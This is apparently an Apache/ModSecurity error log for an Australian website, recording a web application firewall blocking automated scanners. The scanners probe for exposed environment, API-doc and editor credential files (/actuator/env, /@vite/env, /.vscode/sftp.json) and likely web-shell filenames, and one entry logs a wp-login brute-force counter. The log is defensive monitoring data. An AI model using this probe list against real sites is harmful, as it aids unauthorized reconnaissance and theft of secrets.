[Thu Apr 16 00:07:00.739779 2026] [:error] [pid 30956:tid 30982] [client 157.245.204.205:39308] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/actuator/env"] [unique_id "ad-3pEBGUpjaWntNYq2sygAAABY"]
[Thu Apr 16 00:07:01.521980 2026] [:error] [pid 31053:tid 31079] [client 159.223.132.86:41914] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/security.txt"] [unique_id "ad-3pRcEkLCmvF0fjDdmsAAAAJc"]
[Thu Apr 16 00:07:02.510725 2026] [:error] [pid 30957:tid 30989] [client 159.223.132.86:41938] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/actuator/env"] [unique_id "ad-3pn5gwVEVXHfVSirLsAAAAEA"]
[Thu Apr 16 00:07:02.749774 2026] [:error] [pid 23913:tid 23929] [client 157.245.204.205:45684] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swagger-ui.html"] [unique_id "ad-3plUaK3MLdSaLOyjs7gAAAU4"]
[Thu Apr 16 00:07:03.739327 2026] [:error] [pid 31053:tid 31075] [client 157.245.204.205:45694] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swagger/index.html"] [unique_id "ad-3pxcEkLCmvF0fjDdmtgAAAJM"]
[Thu Apr 16 00:07:04.520393 2026] [:error] [pid 23913:tid 23924] [client 159.223.132.86:41966] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/swagger-ui.html"] [unique_id "ad-3qFUaK3MLdSaLOyjs8QAAAUk"]
[Thu Apr 16 00:07:04.739546 2026] [:error] [pid 30957:tid 30997] [client 157.245.204.205:45698] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swagger/swagger-ui.html"] [unique_id "ad-3qH5gwVEVXHfVSirLtwAAAEg"]
[Thu Apr 16 00:07:05.519178 2026] [:error] [pid 31053:tid 31079] [client 159.223.132.86:41974] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/swagger/index.html"] [unique_id "ad-3qRcEkLCmvF0fjDdmwAAAAJc"]
[Thu Apr 16 00:07:05.889997 2026] [:error] [pid 30956:tid 30984] [client 157.245.204.205:45702] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webjars/swagger-ui/index.html"] [unique_id "ad-3qUBGUpjaWntNYq2s1wAAABg"]
[Thu Apr 16 00:07:06.753586 2026] [:error] [pid 23913:tid 23923] [client 157.245.204.205:45704] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swagger.json"] [unique_id "ad-3qlUaK3MLdSaLOyjs-AAAAUg"]
[Thu Apr 16 00:07:07.775005 2026] [:error] [pid 31053:tid 31062] [client 157.245.204.205:45708] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swagger/v1/swagger.json"] [unique_id "ad-3qxcEkLCmvF0fjDdmxQAAAIY"]
[Thu Apr 16 00:07:08.753245 2026] [:error] [pid 23913:tid 23927] [client 157.245.204.205:45720] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v2/api-docs"] [unique_id "ad-3rFUaK3MLdSaLOyjtAQAAAUw"]
[Thu Apr 16 00:07:09.609935 2026] [:error] [pid 23913:tid 23918] [client 159.223.132.86:34034] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/webjars/swagger-ui/index.html"] [unique_id "ad-3rVUaK3MLdSaLOyjtBQAAAUM"]
[Thu Apr 16 00:07:09.779181 2026] [:error] [pid 23913:tid 23926] [client 157.245.204.205:45722] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3/api-docs"] [unique_id "ad-3rVUaK3MLdSaLOyjtBwAAAUs"]
[Thu Apr 16 00:07:10.589603 2026] [:error] [pid 31053:tid 31073] [client 159.223.132.86:34052] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/swagger.json"] [unique_id "ad-3rhcEkLCmvF0fjDdm0QAAAJE"]
[Thu Apr 16 00:07:10.753889 2026] [:error] [pid 31053:tid 31077] [client 157.245.204.205:45734] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api-docs/swagger.json"] [unique_id "ad-3rhcEkLCmvF0fjDdm0gAAAJU"]
[Thu Apr 16 00:07:11.593279 2026] [:error] [pid 30958:tid 31030] [client 159.223.132.86:34072] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/swagger/v1/swagger.json"] [unique_id "ad-3r8eG3wSKTO7NWFH2jQAAAM4"]
[Thu Apr 16 00:07:11.755976 2026] [:error] [pid 23913:tid 23915] [client 157.245.204.205:45742] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api/swagger.json"] [unique_id "ad-3r1UaK3MLdSaLOyjtDwAAAUA"]
[Thu Apr 16 00:07:12.589166 2026] [:error] [pid 37370:tid 37391] [client 159.223.132.86:34086] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v2/api-docs"] [unique_id "ad-3sHg-gnM2Ga0cGAC0CwAAARM"]
[Thu Apr 16 00:07:12.758717 2026] [:error] [pid 31053:tid 31065] [client 157.245.204.205:36084] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trace.axd"] [unique_id "ad-3sBcEkLCmvF0fjDdm3wAAAIk"]
[Thu Apr 16 00:07:13.589048 2026] [:error] [pid 23913:tid 23932] [client 159.223.132.86:34108] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v3/api-docs"] [unique_id "ad-3sVUaK3MLdSaLOyjtFQAAAVE"]
[Thu Apr 16 00:07:13.758313 2026] [:error] [pid 31053:tid 31063] [client 157.245.204.205:36088] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/@vite/env"] [unique_id "ad-3sRcEkLCmvF0fjDdm4gAAAIc"]
[Thu Apr 16 00:07:14.589038 2026] [:error] [pid 37370:tid 37386] [client 159.223.132.86:34118] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api-docs/swagger.json"] [unique_id "ad-3sng-gnM2Ga0cGAC0EgAAAQ4"]
[Thu Apr 16 00:07:14.759096 2026] [:error] [pid 31053:tid 31066] [client 157.245.204.205:36102] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.vscode/sftp.json"] [unique_id "ad-3shcEkLCmvF0fjDdm6wAAAIo"]
[Thu Apr 16 00:07:15.593907 2026] [:error] [pid 30958:tid 31036] [client 159.223.132.86:34132] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api/swagger.json"] [unique_id "ad-3s8eG3wSKTO7NWFH2lAAAANQ"]
[Thu Apr 16 00:07:15.759348 2026] [:error] [pid 31053:tid 31067] [client 157.245.204.205:36116] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ad-3sxcEkLCmvF0fjDdm8wAAAIs"]
[Thu Apr 16 00:07:16.613773 2026] [:error] [pid 31053:tid 31076] [client 159.223.132.86:34156] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/trace.axd"] [unique_id "ad-3tBcEkLCmvF0fjDdm9wAAAJQ"]
[Thu Apr 16 00:07:16.759738 2026] [:error] [pid 31053:tid 31059] [client 157.245.204.205:36132] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ad-3tBcEkLCmvF0fjDdm-AAAAIM"]
[Thu Apr 16 00:07:17.591914 2026] [:error] [pid 31053:tid 31064] [client 159.223.132.86:34170] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/@vite/env"] [unique_id "ad-3tRcEkLCmvF0fjDdm-wAAAIg"]
[Thu Apr 16 00:07:17.758697 2026] [:error] [pid 23913:tid 23935] [client 157.245.204.205:36146] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/debug/default/view"] [unique_id "ad-3tVUaK3MLdSaLOyjtHgAAAVQ"]
[Thu Apr 16 00:07:18.597354 2026] [:error] [pid 30956:tid 30981] [client 159.223.132.86:34182] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.vscode/sftp.json"] [unique_id "ad-3tkBGUpjaWntNYq2s3gAAABU"]
[Thu Apr 16 00:07:19.572820 2026] [:error] [pid 30958:tid 31032] [client 159.223.132.86:52602] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ad-3t8eG3wSKTO7NWFH2nQAAANA"]
[Thu Apr 16 00:07:20.574112 2026] [:error] [pid 23913:tid 23934] [client 159.223.132.86:52626] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "ad-3uFUaK3MLdSaLOyjtMwAAAVM"]
[Thu Apr 16 00:07:21.591784 2026] [:error] [pid 23913:tid 23928] [client 159.223.132.86:52640] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/debug/default/view"] [unique_id "ad-3uVUaK3MLdSaLOyjtOAAAAU0"]
[Thu Apr 16 00:14:08.823949 2026] [ssl:error] [pid 31053:tid 31078] [client 143.244.47.83:30587] AH02032: Hostname car-ekb-avto.ru provided via SNI and hostname www.agraphics.com.au provided via HTTP have no compatible SSL setup
[Thu Apr 16 00:42:14.405940 2026] [:error] [pid 23913:tid 23937] [client 45.131.194.46:49677] [client 45.131.194.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.46, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ad-_5lUaK3MLdSaLOyj_nAAAAVY"]
[Thu Apr 16 00:42:14.421768 2026] [proxy_fcgi:error] [pid 23913:tid 23937] [client 45.131.194.46:49677] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 01:20:20.190151 2026] [ssl:error] [pid 37370:tid 37385] [client 143.244.47.83:54043] AH02032: Hostname www.suprik.com provided via SNI and hostname agraphics.com.au provided via HTTP have no compatible SSL setup
[Thu Apr 16 01:45:02.034541 2026] [:error] [pid 792:tid 888] [client 216.73.216.22:6131] [client 216.73.216.22] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.agraphics.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/robots.txt"] [unique_id "ad_Ont3PZ8z30TezIkZdDQAAAM0"]
[Thu Apr 16 02:00:11.368739 2026] [proxy_fcgi:error] [pid 54814:tid 54826] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:11.623286 2026] [proxy_fcgi:error] [pid 54814:tid 54834] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:11.862672 2026] [proxy_fcgi:error] [pid 54814:tid 54836] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:12.100637 2026] [proxy_fcgi:error] [pid 54814:tid 54821] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:12.371355 2026] [proxy_fcgi:error] [pid 54814:tid 54838] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:13.057632 2026] [proxy_fcgi:error] [pid 54814:tid 54829] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:13.298732 2026] [proxy_fcgi:error] [pid 54814:tid 54827] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:13.548437 2026] [proxy_fcgi:error] [pid 54814:tid 54839] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:13.790469 2026] [proxy_fcgi:error] [pid 54814:tid 54823] [client 20.203.253.182:49022] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:00:14.026495 2026] [:error] [pid 54814:tid 54826] [client 20.203.253.182:49022] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "ad_SLjrHu_-tAAe-BOWuPwAAAYY"]
[Thu Apr 16 02:00:15.197040 2026] [:error] [pid 791:tid 847] [client 20.203.253.182:27999] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "ad_SL7xl5Y18om2fepnb5gAAAEc"]
[Thu Apr 16 02:00:17.262844 2026] [:error] [pid 54814:tid 54832] [client 20.203.253.182:52314] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "ad_SMTrHu_-tAAe-BOWuRwAAAYw"]
[Thu Apr 16 02:00:19.614913 2026] [:error] [pid 34542:tid 34547] [client 20.203.253.182:9511] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "ad_SMwdF4OGi-asleB6MRwAAAUM"]
[Thu Apr 16 02:00:25.826367 2026] [:error] [pid 54814:tid 54840] [client 20.203.253.182:48988] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ad_SOTrHu_-tAAe-BOWuWgAAAZQ"]
[Thu Apr 16 02:00:29.929213 2026] [:error] [pid 20548:tid 20571] [client 20.203.253.182:52340] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ad_SPakpqgnqCHq6bJa3pwAAAJQ"]
[Thu Apr 16 02:00:30.708524 2026] [:error] [pid 34542:tid 34561] [client 20.203.253.182:44453] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ad_SPgdF4OGi-asleB6MbQAAAVE"]
[Thu Apr 16 02:00:31.686626 2026] [:error] [pid 912:tid 992] [client 20.203.253.182:44453] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ad_SP8U0_VzYCBipADkzLgAAARg"]
[Thu Apr 16 02:00:32.984119 2026] [:error] [pid 54814:tid 54831] [client 20.203.253.182:37995] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "ad_SQDrHu_-tAAe-BOWuagAAAYs"]
[Thu Apr 16 02:00:34.199410 2026] [:error] [pid 912:tid 989] [client 20.203.253.182:54604] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "ad_SQsU0_VzYCBipADkzNQAAARU"]
[Thu Apr 16 02:00:35.693945 2026] [:error] [pid 790:tid 809] [client 20.203.253.182:15284] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "ad_SQyHz-rbrjNOa3VKpWgAAAA4"]
[Thu Apr 16 02:00:37.762249 2026] [:error] [pid 54814:tid 54826] [client 20.203.253.182:44465] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "ad_SRTrHu_-tAAe-BOWueAAAAYY"]
[Thu Apr 16 02:00:38.735123 2026] [:error] [pid 34542:tid 34548] [client 20.203.253.182:20847] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ad_SRgdF4OGi-asleB6MrgAAAUQ"]
[Thu Apr 16 02:00:39.781938 2026] [:error] [pid 34542:tid 34565] [client 20.203.253.182:15295] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ad_SRwdF4OGi-asleB6MtQAAAVU"]
[Thu Apr 16 02:00:40.664639 2026] [:error] [pid 34542:tid 34551] [client 20.203.253.182:24334] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ad_SSAdF4OGi-asleB6MvAAAAUc"]
[Thu Apr 16 02:00:41.293554 2026] [:error] [pid 791:tid 853] [client 20.203.253.182:14174] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "ad_SSbxl5Y18om2fepncCQAAAE0"]
